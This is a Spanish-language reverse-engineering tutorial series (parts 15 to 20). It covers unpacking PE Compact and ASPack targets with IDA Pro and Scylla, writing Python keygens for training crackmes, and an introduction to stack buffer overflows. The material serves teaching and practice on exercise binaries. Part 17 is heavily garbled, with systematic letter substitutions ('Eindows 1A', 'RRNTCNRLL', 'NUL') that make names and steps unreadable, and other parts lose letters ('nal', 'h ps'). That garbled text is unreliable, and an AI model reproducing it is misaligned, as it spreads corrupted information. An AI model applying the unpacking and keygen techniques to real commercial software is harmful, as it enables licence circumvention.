este, lo que cambiara será el contenido.
CALL [0x403238]
Siempre funcionara porque 0x403238 es la entrada de la IAT para GetModuleHandleA, lo que variara
será el contenido que el sistema guardara machacando el valor original 5e 35, que apuntaba a la string si
le sumamos la base.
Sin cerrar los otros dos IDA con el empacado parado en el OEP y el original, en un tercer IDA abro el
DUMPEADO que acabo de hacer pepe - Copy.exe.
Vemos allí
Vemos que lo que tenemos allí es una dirección de una api y no un ofset para sumarle a la ImageBase
para hallar el nombre de la api.
Como el sistema cuando arranco el empacado resolvió la dirección de la api y guardo su dirección allí, al
dumpear lo que hay es eso la dirección de la api GetModuleHandleA para el empacado.
Y cual es el problema?
Es que el sistema al arrancar busca allí en la entrada de la IAT el valor para sumarle a la ImageBase y
buscar una string para resolver y eso se rompió pues al dumpear quedo guardada la dirección nal, y el
programa crasheara al arrancar, al no poder ir llenando las entradas de la IAT como corresponde.
Bueno para terminar con esto, el tema es que hay que arreglar la IAT y restaurar todos esos ofsets que
apuntaban a las strings con los nombres de la api, y esto no se hace a mano, es muy largo, para eso
usaremos una tool llamada Scylla.
h ps://tuts4yoututs4you.com/download.php?view.3503
Lo arranco
En ATTACH TO AN ACTIVE PROCESS elijo del menú desplegable, el proceso del empacado que está
detenido aun en el IDA en el OEP.
Vemos que resolvió todo menos tres entradas que las muestra al apretar SHOW INVALID
Por otro lado vemos que el ofset 3238 en el empacado sabíamos que correspondía a
GetModuleHandleA y esa está bien resuelta, podemos mirar en el empacado las direcciones de las
entradas invalidas 0x403248 en adelante, a ver que son.
Y si hago click derecho en las entradas invalidas del Scylla y elijo SCYLLA PLUGIN-PE COMPACT las
reparara bien.
Coinciden con las que habíamos visto que eran
Si apretamos SHOW SUSPECT veamos si están correctas las dos sospechosas yendo a 0x403258 y
0x403278.
Vemos que al abrir el que desempacamos en el IDA ya arranca del OEP 0x401000 y que se ven los
nombres de las apis como en el original ya que están bien resueltas.
Incluso la parte de la IAT también se ve como el original.
Bueno hemos desempacado nuestro primer y sencillo packer, más adelante veremos otros más
complejos.
Hasta la parte 16
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
16
Antes de seguir con mas reversing haremos un ejercicio más de unpacking con otro target, en este caso
UnPackMe_ASPack 2.2.
El mismo se encuentra en la categoría de los sencillos, más adelante en el curso luego de abordar otros
temas volveremos con unpacking avanzado.
Allí vemos el Entry Point del archivo empacado, comienza con la instrucción PUSHAD, que no habíamos
visto entre las principales pero lo que hace es hacer un PUSH de cada registro al stack, o sea
PUSHAD es igual a PUSHEAR o sea guardar en el stack los registros en el siguiente orden
Inversamente POPAD es la operación inversa hace POP del contenido del stack
guardándolo en los registros en el siguiente orden (salvo ESP ese no se toca al hacer
POPAD).
En los packers sencillos, la mayoría al iniciarse hacían PUSHAD para guardar el estado
original de los registros al arrancar y hacían POPAD para restaurarlos antes de saltar
al OEP a ejecutar el programa ya desempacado en memoria.
Gracias a esto se podía hallar fácilmente el OEP utlizando el método del PUSHAD-
POPAD, obviamente en packers más modernos se han dado cuenta de esto y evitan
usar esas instrucciones.
Como es el método del PUSHAD-POPAD, veamos.
Primero que nada, tenemos que elegir el debugger y arrancarlo, ya sabemos hacer
eso en DEBUGGER- SELECT DEBUGGER y elegimos LOCAL WIN32 DEBUGGER.
Eso ya lo sabemos, pero ahora para practcar lo arrancaremos desde Python, pueden
tpear las instrucciones una a una en la barra de Python o usar el plugin que
instalamos IpyIDA que es más cómodo yo lo hare así.
Vemos que al escribir idc.Load y apretar TAB me dice que existe idc.LoadDebugger,
veamos.
Vemos que en el caso nuestro debemos elegir win32 y 0 para local (se usa 1 para
debugger remoto).
Probemos.
Vemos que ya está elegido si vuelvo a repetr el mismo comando me contesta FALSE porque ya estaba
arrancado.
El método del PUSHAD se basa en ejecutar el PUSHAD y en la siguiente instrucción, buscar los registros
que guardo en el stack y a contnuación poner un breakpoint para que cuando lo trate de recuperar con
el POPAD justo antes de saltar al OEP, luego de desempacar el código original, se detenga el debugger.
O sea que poniendo con F2 un breakpoint después del PUSHAD ya pararíamos después de ejecutarlo.
(PUSHA es similar a PUSHAD).
El que lo quiere hacer desde Python puede tpear.
idaapi.add_bpt(0x46b002, 0, BPT_SOFT)
Con eso se agrega el breakpoint desde Python el primer argumento es la dirección, el segundo el largo
del breakpoint y el tercero es el tpo en este caso el breakpoint normal por sofware BPT_SOFT o 0.
Ya seleccionamos el DEBUGGER, pusimos el primer breakpoint ahora hay que arrancar el debugger para
que pare en el breakpoint eso es sencillo con F9 sino desde Python.
StartDebugger("","","");
Con ese comando arrancara el debugger que elegimos si todo es correcto, y en este caso parara en el
BREAKPOINT que pusimos en 0x46B002.
Ahora aquí debemos mirar el stack y poner un breakpoint en la primera línea, ya que es allí donde están
los valores de los registros guardados por PUSHAD que más adelante los recuperara con POPAD, para
que se detenga allí, al recuperarlos.
Allí vemos que debemos poner el BP en 0x19FF64 en mi caso, en el de ustedes en su primera dirección
del stack, apuntada por ESP.
Ahora pongo el cursor en la ventana del listado y apretó le echita que está al lado de ESP.
Apretando la echita al lado de un registro se tratará de mostrar esa dirección si existe, en la ventana
donde esta el cursor, así que podemos poner el BREAKPOINT allí, a mano con F2, pero tendremos que
con gurarlo ya que en este caso debe ser de LECTURA Y ESCRITURA no de ejecución ya que aquí parara
cuando recupere o lea el valor no ejecutara código allí.
idaapi.add_bpt(0x019FF64, 1, 3)
El argumento 1 es el largo del breakpoint y 3 el tpo de breakpoint en este caso READ-WRITE ACCESS
como vemos en la tablita si lo tpeo aparece el mismo breakpoint que pusimos a mano.
Deshabilitamos los BP anteriores a mano en la lista de BREAKPOINTS con click derecho DISABLE o desde
Python.
EnableBpt(0x46b002, 0)
Allí quedo en verde o sea deshabilitado y por supuesto en rojo el del stack.
Ahora debemos contnuar con F9 o tpear en Python.
idaapi.contnue_process()
Allí paro justo después del POPAD cuando recupera los registros y vemos que desde el STUB va a saltar
al OEP en 0x4271b0 ya que un PUSH XXX - RET es similar a un JMP XXX, así que traceamos un poco hasta
llegar al OEP.
Ahora debemos reanalizar el ejecutable, como hicimos en el caso anterior y creamos la función, si
quisiéramos solo hacer un snapshot de la memoria a una database para estudiar, este sería el momento,
no lo repetremos en este caso.
Lo siguiente es dumpear para ello debemos hallar la ImageBase y la dirección nal en el últmo
segmento del ejecutable.
En vez de usar el script que utlizamos en la parte 15 usaremos la versión del mismo de Python.
Como esta tene varias líneas lo armo en un editor de texto y lo guardo como archivo ipython_dump.py
lo adjunto al tutorial también.
Ahora desde el menú FILE-SCRIPT FILE lo abro se ejecuta y crea el archivo aspack.bin no tene icono para
ello usamos el PEEDITOR.
Click derecho DUMP FIXER.
Ahora abrimos el Scylla 0.98 en esta parte adjunte una versión más nueva, y por supuesto igual que
antes buscare el proceso que está detenido aun en el OEP.
Si apretamos SHOW INVALIDS y elegimos MODO ADVANCED vemos que hay unas cuantas malas,
veamos si lo arregla automátco.
Vemos que no lo puede arreglar así que miraremos a mano.
Ahí vemos la primera entrada en 0x460818, esa es válida y coincide, más arriba empiezan las invalidas,
veamos que hay en la primera invalida más arriba en 0x4600ec.
Se ven que el contenido no apunta a ninguna dirección valida y también si apretó CTRL mas X no hay
referencias.
Mientras que en una entrada real habrá referencias cuando se use la api, por ejemplo.
Así que esas no son entradas de la IAT, las quitaremos.
Vemos que si limpio con CLEAR y le doy IAT AUTOSEARCH de nuevo, pero le digo que no use las
avanzadas las halla todas bien.
Vemos que la IAT ahora comienza en 0x460810 limpiando las que el MODO ADVANCED había agregado
mal.
Así que ahora puedo buscar el dumpeado y apretar FIX DUMP en el.
Y al reparado lo ejecuto sin problemas.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 17
Llegamos a la parte 17 y se supone que al menos debían intentar resolver el ejercicio.
Bl mismo es muy simple y hay que desempacarlo como vimos en las partes anteriores y luego
reversearlo para hallar la solución del mismo y si es posible hacer un keygen en Rython.
Bn este caso vamos a cambiar un poco y voy a desempacarlo en orma remota a una máquina
virtual que tengo de Eindows 1A en EMEare Eorkstaton.
La máquina principal para debuggear remoto es donde tengo corriendo el NUL en este caso es
Eindows 7 pero podría ser cualquier Eindows, Linux, N I etc donde tengamos corriendo el NUL
instalado.
Ngual todas las restricciones que ocurran al desempacar remoto serán las mismas que si el
programa lo estuviera debuggeando en Eindows 1A directamente, ya que allí es donde correrá el
archivo empacado, que en este caso se llama RLCKBU_RRLCaNCL_1.exe.
Rara abreviar, de acá en más a la maquina principal donde tengo el NUL instalado, la llamare
“RRNTCNRLL” y a la imagen de Eindows 1A que tengo corriendo en un EMELRB le llamare
“aLR%Ba”.
Lllí está el archivo empacado en el aLR%Ba, y debo copiar también allí de la carpeta donde tengo
instalado el NUL en la RRNTCNRLL, el servidor remoto llamado win30_remote.exe ya que mi sistema
Eindows 1A es de 64 bits, pero el programa empacado es de 30 bits, así que debo correr el server
de 30 bits.
Lllí estamos en el L LUBR mostrando el Bntry Roint del programa empacado, aun no arrancamos
el UB/C%%BR.
Bs muy importante no renombrar el NU/ o sea que si el ejecutable se llama
RLCKBU_RRLCaNCL_1.exe en la RRNTCNRLL, al analizar guardara en la misma carpeta un NU/ y
debería llamarse RLCKBU_RRLCaNCL_1.idb y no de otra orma, sino habrá problemas para
reconocer que el proceso remoto corresponde al mismo ejecutable analizado localmente.
Bn RR CBII RaN TI ponen el NR y R Ra del server de NUL y como necesitamos arrancarlo desde
el inicio para desempacar ya que no nos podemos atachear porque ya lo encontraríamos
corriendo, tendremos que arreglar las rutas que muestra allí, para que coincidan con la ubicación
del ejecutable en el aLR%Ba.
Bn mi caso el desempacado en el aLR%Ba está en el UBIKa R y allí el path en mi caso será
C:\Csers\admin\Uesktop\RLCKBU_RRLCaNCL_1.exe
Lhora sí le damos a IaLRa RR CBII y parara en el entry point de esta orma están detenidos en el
BTaRY R NTa del empacado en M U UB/C%%BR.
Lo que si podemos apreciar que dado que el ejecutable tene randomizacion las direcciones de
donde se cargan varían cada vez que se reinicia, por lo cual es importante desde que lo
arrancamos, dumpeamos y reparemos, la NLa sea el mismo proceso sin cerrarlo para que no
cambien las direcciones entre tro y tro.
Lhora vamos a mirar la primera sección de código después del header en IB%MBTaI.
Ii solo hiciéramos un IBLRCH F R aBXa para hallar el R RLU o R RL en este caso, hallaríamos el
que se ejecuta justo antes de saltar al BR.
Lllí ya sabríamos que el BR está en Ax03146e pero puedo hallarlo poniendo un /RBLKR NTa en
BJBCCCN T que abarque toda la primera sección.
Lllí veo los datos que saca del header, obviamente las direcciones no coinciden por la
randomizacion, la imagebase no es Ax4AAAAA pero el ENRaCLL INZB si es Ax7AAA o sea el tamaño de
la sección en la memoria coincide ya que empieza en Ax031AAA y termina en Ax038AAA la
di erencia es Ax7AAA bytes.
.
Lli que pongo un breakpoint con F0 allí en el inicio de la sección, en mi caso Ax031AAA o la
dirección que corresponda en su máquina de largo Ax7AAA.
/orro todos los otros breakpoints que quede solo este y apreto F9 para que corra.
Lllí se detene y coincide con la dirección que habíamos visto que era el BR, ahora borro el
/RBLKR NTa para quitar lo rojo.
Lhora edito el script dumpeador en Rython para que muestre la Nmage/ase real mía y el fnal del
archivo.
Eeo que hay una sola entrada NTEÁLNUL luego del NLa LCa IBLRCH y %Ba NMR RaI.
Python>hex(0x230000+0x20d4)
0x2320d4
Eeo que parece ser ruido no creo que sea parte de la NLa verifquemos mirando en el listado si esa
dirección tene re erencias.
Eeo que no es un problema ya que va a un valor fjo del programa que es un RBa no a una api, así
que hare en la entrada invalida CLNCK UBRBCH -CCa aHCTK para eliminarla de la NLa.
Lhora hago FNX UCMR del packed.exe y me queda el packed_ICY.exe sin embargo ese aun no
corre y es porque en el dumpeado no se reallocan las direcciones que ueron creadas en runtme
que no pertenecen a la NLa y cambian siempre al arrancar, así que le quitare la randomizacion lo
abro al packed_ICY.exe en el NUL con manual load cargando el header también y voy al mismo.
Lllí esta ULL CHLRLCaBRNIaNCI en el suyo estará di erente de cero porque yo ya lo cambie.
Y listo.
Hasta la parte 18
Ricardo Tarvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
18
En la parte anterior hemos desempacado el ejecutable del ejercicio y lo hicimos funcionar, en esta parte
lo reversearemos para ver si podemos hacer un keygen en Python.
Es bueno recordar que para un análisis estátco no es necesario descomprimir, solo con llegar hasta el
OEP y hacer un TAKE MEMORY SNAPSHOT, y copiando el idb a otro lugar y abriéndolo, ya se podría
analizar estátcamente, pero bueno tenerlo desempacado nos permite también debuggear y eso a veces
puede ayudar.
Abro el desempacado en el IDA y lo primero que siempre me fjo son las strings.
Bueno sabemos que lo primero que hace el programa es imprimir la string Pone un user.
Voy allí.
En las funciones basadas en EBP, dijimos, primero guarda en el stack el EBP de la función que llamo a
esta con PUSH EBP y luego hará un MOV EBP, ESP para setear EBP con el valor de referencia para esta
función, a partr de donde se calculan las posiciones de los argumentos variables y bu ers.
Vemos es que reserva 0x94 bytes para las variables locales y bu ers, a partr de valor base de EBP.
Bueno haciendo doble click en cualquier variable o argumento el LOADER muestra la vista estátca del
stack.
Eso lo vemos allí, esta es una función sin argumentos porque esos se pasan primero con los PUSH antes
de llamar a la función y estarían debajo del return address (r), en este caso no hay nada debajo de r por
lo cual es una función sin argumentos.
Es el mismo caso de la vez anterior es la función main y tene argumentos que son argv y argc etc, pero
como no los usa dentro de la función, ida no los considera.
Renombraremos la función a main y al hacerlo ida me agrega automátcamente los tres argumentos.
Volviendo a la visión estátca del stack, vemos ahora que están los argumentos debajo del return
address como corresponde, luego s que es el STORED EBP como dijimos que guarda el EBP de la función
anterior con PUSH EBP y hacia arriba el espacio para las variables que normalmente tene esa variable
var_4 que es para proteger el stack de bu er over ows.
Tiene dos referencias una al inicio de la función cuando guarda el valor de la cookie de seguridad allí en
el stack.
Dicho valor es un valor random que se XOREA con EBP y se guarda allí en var_4 al iniciar la función y la
otra referencia es aquí.
Donde vuelve a recuperar el valor original guardado y lo vuelve a XOREAR con EBP para recuperar el
valor original en ECX y dentro de ese CALL chequeara el mismo.
Si todo esta correcto retornara, pero si ECX no tene el valor original de _security_cookie se va al JMP
ese que va a EXIT y no te deja llegar al RET de la función.
Ya veremos que solo puede ocurrir que vaya a EXIT si hubo un OVERFLOW que machaco el valor de
var_4 dentro de la función, por ahora renombremos a CANARY o SECURITY COOKIE, la var_4.
Luego vemos dos variables que aún no sabemos que son que se inicializan a cero, y una variable que ya
tene el nombre size que se inicializa a ..
Ahora quedo mejor, pinto de verde el bloque de chico bueno y de rojo o naranja para que se vea el
contenido el de chico malo.
Obviamente si solo fuera parchear ese salto JZ sería el punto justo, pero trataremos de llegar al fnal de
esto.
Vemos que la otra variable var_90 que ponía a cero al inicio, va sumando los bytes que va leyendo del
Buf ya que lee de a uno y lo pasa a EDX en 0x231109 y luego lo suma a cero en el primer ciclo, y EDX
siempre va guardando la sumatoria de todos los bytes ya veremos que contene el Buf que está leyendo,
pero por ahora pongámosle sumatoria.
Vemos que var_.4 es el contador de ese LOOP donde va sumando, pero vemos que el mismo solo suma
los primeros cuatro bytes ya que la salida es cuando ese valor es mayor o igual a 4.
Bueno ya vimos que ese LOOP va leyendo los bytes de Buf y los suma y los va guardando esa suma en
SUMATORIA, veamos que tene Buf.
Vemos que Buf al inicio se llena con . bytes como máximo con el nombre del user, usando gets_s para
ingresar por teclado.
Listo.
También en la representación estátca vemos el largo del bu er Buf con click derecho-ARRAY.
Coincide con el código fuente
Además luego de recibir en el Buf, le pasa el mismo a strlen para saber el largo de lo que tpeaste.
Ya tenemos visto que ese LOOP suma los cuatro primeros bytes del user que tpeamos, así que lo
agruparemos para que no moleste a la vista clickeando en las barras de cada bloque apretando CTRL.
Ahora quedo mejor, con click derecho-GROUP NODES y lo puedo desagrupar si necesitara con
UNGROUP.
Vemos que vuelve a utlizar el mismo Buf para ingresar el password, ya que ya tene guardada la
sumatoria de los primeros 4 bytes de user.
Luego toma el password y lo convierte a valor hexadecimal con ATOI, en Python sería equivalente a la
función hex().
Allí vemos que XOREA el password en HEXA con 0x1234 y lo vuelve a guardar en la misma variable.
Vemos que le pasara ambos la sumatoria de los 4 primeros bytes del user y el valor hexa xoreado con
0x1234 del password a esa función que llamaremos CHEQUEO_EXITO, su resultado hace que salte a
chico bueno o chico malo.
Allí vemos los dos argumentos, arg_4 será el que primero se pasa o sea en la referencia será el que se
PUSHEA primero.
Vemos que los carteles azules que aparecen al propagar coinciden con los nombres en la referencia, así
que está todo bien.
Veo que antes de comparar ambos hace SHL EAX, 1 lo cual equivale a multplicar por 2.
Entonces si son iguales va al bloque verde donde pondrá AL a 1 y lo devolverá siendo el FLAG_EXITO que
decidir si somos buenos reversers o no.
Haremos una formula suponiendo que conocemos el USER ya que el keygen se basa en eso, dado un
cierto USER hallar el password correspondiente.
(X ^ 0x1234)* 2 = SUMATORIA
Si despejamos X
X ^ 0x1234= (SUMATORIA/2)
X= (SUMATORIA/2) ^ 0x1234
La función XOR es inversible y se puede pasar de miembro sin problemas ya que si.
A^B=C
A=B^C
X= (SUMATORIA/2) ^ 0x1234
Si mi nombre fuera pepe el cual es válido ya que es menor que . bytes de largo la sumatoria de los bytes
seria.
Allí quedo mejor ya que chequea que sea mayor o igual que 4 al igual que hace el programa.
El resultado para pepe es similar la sumatoria da 0x1aa pero puedo obtenerla para cualquier user.
Teníamos la formula
X= (SUMATORIA/2) ^ 0x1234
Así que debería dividir por 2 y hacer el XOR con 0x1234 para hallar el password en hexadecimal.
Si lo pruebo
Ya tenemos el keygen no necesitamos hacer la conversión del password hexa a decimal porque Python
al imprimir lo hace siempre imprimiendo en decimal por default.
Vemos que suma solo los primeros 4 caracteres del nombre de usuario, el password da igual si es más
largo pero los 4 caracteres iniciales son similares.
Igual el ejercicio crashea al tpear . caracteres ya que deben ser . en total incluyendo el 0 fnal de la
string.
No tendría solución ya que el password termina multplicándose por 2 y siendo una multplicación de
enteros nunca dará impar, así que le agregaremos ese chequeo.
Allí verifcamos el resto de dividir por dos si es cero es par sino es impar y no tene solución.
Creo que nuestro keygen ya quedo bastante bien, así que podemos terminar esta parte y vernos en la
siguiente.
Hasta la parte 19
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 19
En este capítulo ya estamos en condiciones de reversear el crackme de Cruehead original y eso
haremos, así que lo abrimos en el LOADER sin tldar ANUAL LOAD total es solo reversing el
original no está empacado, así que no es necesario cargarlo manualmente.
Allí se detuvo, en este caso al no ser una aplicación de consola, no es solo analizar la función main,
sabemos que en aplicaciones con ventanas existe el LOOP de mensajes que van procesando lo
que el usuario va interactuando con la ventana, los click que realiza etc. y según cada acción del
usuario, está programado para ejecutar diferentes funciones con su código.
Sabemos que lo primero siempre es intentar por el lado de las strings, si esto falla se deben mirar
las apis o funciones que utliza el programa, en este caso las strings están bien visibles así que
encararemos por este camino.
Siguiendo la string NO LUCK habíamos llegado a la zona donde tomaba la decisión, ya que
haciendo doble click en dicha string vamos a
Veamos la primera.
Así que el otro camino debe ser el chico bueno, miremos dentro de la función 0x40134d.
Vemos que tene un par de referencias para ver que string guardara allí.
También vemos que ambos tenen el número de control nIDDlgItem de cada uno, 0x3e8 y 0x3e9.
Utlizando el programa GREATIS WINDOWSE que nos da información acerca de las ventanas donde
pasamos el mouse.
h p://www.greats.com/wdsetup.exe
Veri co que el control id de la caja de texto de arriba es 0x3e8 y la de abajo 0x3e9.
También puedo renombrar los bufers donde recibe las strings, el primero como corresponde al
user a String_USER y el segundo como String_PASSWORD, ambos solo aceptan 0x0b caracteres de
largo máximo, a pesar de ser los bufers mas grandes.
Bueno ya sabemos dónde se guarda el user y password que se tpea, veamos que hace con las
misma.
Analicemos que hace con la misma, pero antes podemos cambiar los nombres de las funciones ya
que aparentemente la primera procesa la String_USER y la segunda procesa la String_PASSWORD
Vemos que la aclaración que agrego coincide con el nombre del argumento.
Vemos que hay un LOOP que ira leyendo los BYTES de la String_USER, mientras que no sea cero el
byte o sea hasta que no termine la string se repetrá el LOOP e ira por el camino de la echa ROJA.
Allí se ve el LOOP completo va incrementando ESI para ir leyendo byte a byte cada carácter de la
String_USER, cada uno que toma los compara con 0x41.
Podemos hacer click derecho en el 0x41 y cambiar por la A que es el carácter ASCII de ese valor.
La cuestón es que si es más bajo que el carácter A te tra a NO LUCK, así que si vemos la tabla
ASCII, no acepta números en USER solo letras ya que deben ser mayores o iguales que A.
Así que chequea que todos los caracteres de la String_USER sean mayores que 0x41 o sea A por lo
menos.
También chequea JNB si no es más bajo que Z lo manda a ese BLOQUE en 0x401394, sino lo deja
como esta y sigue con el siguiente carácter por el camino de bloques verdes.
Así que acepta las letras mayúsculas salvo la Z los caracteres mayores o iguales a Z van a ese
bloque veamos que hace en el mismo.
Le llame resta_20 porque eso es lo que hace, si es más grande que Z le resta 20 y lo guarda.
O sea que si pasas 0x61 que es la “a” minúscula al restarle 0x20 quedara valiendo 0x41 que es la
“A “ mayúscula, hace lo mismo con todos los caracteres más grandes o igual que Z.
user=raw_input()
largo=len(user)
if (largo> 0xb):
exit()
userMAY=""
for i in range(largo):
if (ord(user[i])<0x41):
print "CARACTER INVALIDO"
exit()
if (ord(user[i]) >= 0x5a):
userMAY+= chr(ord(user[i])-0x20)
else:
userMAY+= chr(ord(user[i]))
print "USER",userMAY
Vemos que el script hace lo mismo que el programa, va tomando uno a uno los caracteres de la
string user y compara con 0x41 si es menor te dice que es un carácter invalido y te tra a EXIT sino
ve si es mayor o igual que 0x5a y si es así le resta 0x20 y lo va agregando a la string user AY.
Cuando halle un carácter que sea cero terminara el LOOP e ira al bloque en 0x40139c.
Vemos que antes de ir incrementando ESI, lo había PUSHEADO al stack para guardar el valor
original que apunta al inicio de la string, y allí con el POP ESI lo recupera antes de entrar al call
0x4013c2.
Vemos que es un LOOP que suma todos los bytes por eso lo llame SU ATORIA, así que podemos
agregar eso en nuestro script.
Sumo todos los bytes e imprimo la sumatoria.
Para comprobar si voy bien pongo un breakpoint al salir de la sumatoria y pongo pepe en el campo
user y password 989898.
Justo en esa línea XOREA con 0x5678 así que lo agrego al script.
Si ejecuto esa línea XOREA y da lo mismo que el script.
Luego PUSHEA EAX lo recuperara con POP EAX antes de la comparación nal, o sea que en el C P
EAX, EBX, el primer miembro será este valor que sale de PROCESA_USER.
Veamos ahora que hace con el password en PROCESA_PASS.
Allí vemos
Va leyendo cada byte lo mueve a BL y a cada uno le resta 0x30 que queda en EBX, luego multplica
EDI que tene la sumatoria por 0x0a y le suma EBX.
Hare otra parte del script con esto.
No ingreso el password por teclado solo estoy probando ya que en el keygen solo se ingresa el
usuario, pero vero que si mi password es por ejemplo 989898.
A sum2 que es la sumatoria que va guardando lo multplica por 0xa y luego le suma el byte menos
0x30 como hace el programa.
Al ejecutarlo veo que el password 989898 me dio como resultado de todo eso el valor f1aca que es
el valor hexadecimal de la string 989898.
Así que todo eso en el script se puede resumir a pasar a hexadecimal la string con la función hex().
e da exactamente lo mismo.
Al terminar XOREA ese resultado con 0x1234 y sale a compararlo con el valor que recupera en EAX
que devolvió PROCESA_USER.
hex(password)^0x1234 = XOREADO
Si despejo
O sea que si al resultado que tenía lo xoreo por 0x1234 ya casi lo tengo veamos.
Si corremos eso con la string pepe
Así que ya tenemos el keygen y como antes no es necesario pasar el resultado a decimal porque ya
Python nos hace la conversión.
sum=0
user=raw_input()
largo=len(user)
if (largo> 0xb):
exit()
userMAY=""
for i in range(largo):
if (ord(user[i])<0x41):
print "CARACTER INVALIDO"
exit()
if (ord(user[i]) >= 0x5a):
userMAY+= chr(ord(user[i])-0x20)
else:
userMAY+= chr(ord(user[i]))
print "USER",userMAY
for i in range(len(userMAY)):
sum+=ord (userMAY[i])
Así que reverseamos e hicimos un keygen del crackme de Cruehead, nos vemos en la parte 20.
Hasta la próxima.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
20
________________________________________________________________________
Vulnerabilidades.
En esta parte veremos sobre el tema vulnerabilidades y cómo analizar algunas de las más
simples.
Por supuesto a nivel de bugs de corrupción de memoria, los más sencillos son los buffers
overflows.
Los mismos se producen cuando un programa reserva una zona de memoria o buffer para
almacenar datos y por algún motivo no se chequea adecuadamente el tamaño de los datos
a copiar y se desborda el buffer copiando más del tamaño reservado, pudiendo pisar
variables, argumentos y punteros que se encuentran en la memoria.
El tipo más sencillo de buffer overflow es el stack overflow, que es cuando se produce un
desborde en un buffer reservado en el stack.
char buf[xxx];
Donde xxx es el tamaño del buffer en este caso es un buffer en el stack de 0x300 bytes de
largo.
Ya habíamos visto que buscando las referencias de argc o argv llegábamos a la llamada al
main en un programa de consola.
Si entramos a la función no reserva nada porque no usa el buffer, y vuelve devolviendo cero
en EAX.
Vemos que no hay posibilidad de overflow, mientras que lo que se copie no desborde los
0x300 bytes reservados estará todo bien, mientras que ingreses menos o igual que 0x300.
Vemos los tres argumentos envp, argv y argc que no los usamos dentro de main.
Eso ubica los tres argumentos en el stack antes de hacer el CALL main.
Este guarda el RETURN ADDRESS que es la dirección que guarda para saber dónde debe
volver al salir del CALL, en este caso el return address tendrá el valor 0x401200 si no hay
randomizacion.
Allí volverá al terminar de ejecutar el main, así que debe guardar ese valor 0x401200 en el
stack justo arriba de los tres argumentos.
Eso guarda en el stack el valor de EBP que utilizaba la función que llamó al main, justo
arriba del RETURN ADDRESS 0x401200, no sabemos qué valor tendrá porque cambia con
la ejecución, pero es el EBP guardado o STORED EBP de la función padre de esta.
Allí estará guardado en el stack arriba del return address.
Donde pone EBP como base en esta función igualándolo con ESP, esto es un MOV solo
cambia el valor de EBP, no el stack.
Luego la siguiente instrucción sub esp, 0x304 mueve ESP hacia arriba reservando espacio
para las variables locales y buffers en el stack, que se ubican encima del STORED EBP y
ESP quedara trabajando en una función basada en EBP, justo arriba del espacio reservado.
Allí vemos el espacio reservado para variables y buffers, justo arriba de la s (STORED
EBP).
La primera variable que casi siempre se encuentra es el CANARY de protección del stack,
en este caso se llama var_4.
Allí vemos que lee el valor de _security cookie que es un valor random que se crea diferente
cada vez que se ejecuta el programa lo XOREA con EBP y lo guarda en la variable var_4
como ya habíamos visto, la renombramos a CANARY.
Vemos que arriba de CANARY esta Buf veámoslo en la representación estática del stack.
Cuando veo espacio vacío en la representación estática posiblemente haya un buffer, así
que hacemos click derecho en Buf y elegimos ARRAY.
Vemos que el largo es de 768 por 1 que es el size de cada elemento, por lo tanto el tamaño
del buffer es 768 que en hexadecimal es 0x300.
Así que aceptamos y queda el Buf ya definido como un buffer de 0x300 bytes hexa o 768
decimal.
Allí vemos la llamada a gets_s, el size máximo 0x300 y el otro argumento es la dirección del
buffer que se obtiene mediante el LEA.
Así que verificamos que el size del Buf era 0x300 y copia al mismo 0x300 como máximo
que se pasa a gets_s.
Es obvio que si pudiéramos haber desbordado el buffer copiando más de 0x300 hubiéramos
pisado el CANARY el STORED EBP y el RETURN ADDRESS que están justo debajo del
BUFFER.
Pero no es el caso este es un buen ejemplo de un buffer que se escribe en forma correcta.
Vemos que ahí hay un BUG y que el programa es vulnerable si lo abrimos en IDA, aun si no
tuviéramos el código fuente.
Igual que antes está el CANARY, justo arriba está el Buf, veamos el largo del mismo en la
representación del stack.
El largo del Buffer es de 16 bytes por 1 que es el largo de cada elemento, o sea que es
0x10 hexa.
O sea que si se puede copiar más de 16 bytes en el buffer desbordara y pisara el CANARY,
STORED EBP y el RETURN ADDRESS.
Vemos que luego de imprimir con printf el mensaje Please enter Your Number, llama a
scanf_s para ingresar un número por teclado, el cual se guarda en la variable size la cual es
un dword y se le pasa la dirección de la variable con el LEA.
La función scanf_s lee datos del flujo de entrada estándar stdin y escribe los datos en la
ubicación que se proporciona en argument. Cada argument debe ser un puntero a una
variable de un tipo que se corresponda con un especificador de tipo en format. Si la copia
tiene lugar entre cadenas que se superponen, el comportamiento es indefinido.
O sea que es como lo opuesto a printf en vez de imprimir con un formato, ingresa de
consola con un formato a un Buffer, en este caso el formato es “%d” por lo cual se
interpreta como un número decimal.
De esta forma cuando llama a gets_s usando ese size que se tipeo, copiara esa cantidad de
bytes y si es mayor a 0x10 desbordara.
Una posible solución seria chequear el largo del size antes de copiar.
Estaría bueno que analicen si esta solución hace que no sea vulnerable o aún lo es,
analícenlo se llama VULNERABLE_o_NO.exe y lo discutiremos en la parte siguiente.
Teníamos el código fuente que nos podía ayudar, el idb y el ejecutable para poder reversear
en IDA y debuggear si es necesario.
Tenemos Buf, veremos el largo del mismo en la representación estática del stack.
NO confundir bugs comunes o crashes con vulnerabilidades, no todo lo que hace crashear a
un programa es una vulnerabilidad si hago.
Es un bug que pondrá a cero ECX y al dividir por cero y provocará una excepción que si no
es manejada será un crash.
Eso es un simple crash, existen varios tipos de vulnerabilidades por ahora solo estamos
viendo la más sencilla el BUFFER OVERFLOW.
Así que la idea es analizar si ese BUFFER de 16 bytes decimal se puede desbordar, como
en este caso, justo debajo del Buf está el CANARY, si llegáramos a pisar el mismo al copiar
en el buffer, es obvio que existiría un BUFFER OVERFLOW.
Ese código corresponde a esta línea del código fuente.
Es una línea que se usa luego del scan para que lea el 0xA del estándar input que es el
salto de línea, así no molesta en una sucesiva lectura del mismo, pues si queda y no se
filtra, en la siguiente llamada a leer caracteres del teclado, no funcionará.
Vemos que loopea hasta que encuentra el 0xA que corresponde al SALTO DE LÍNEA o LF.
Creo que eso ocurre si no me equivoco porque en WINDOWS al apretar ENTER que es el
13 decimal o 0x0d, cortas la entrada de caracteres, pero queda siempre ese 0xa en el
standard input que molesta en la entrada siguiente por teclado, ya que el salto de línea
también cancela el ingreso.
Aquí vemos un script de python que sería funcional para probar este ejercicio.
from subprocess import *
import time
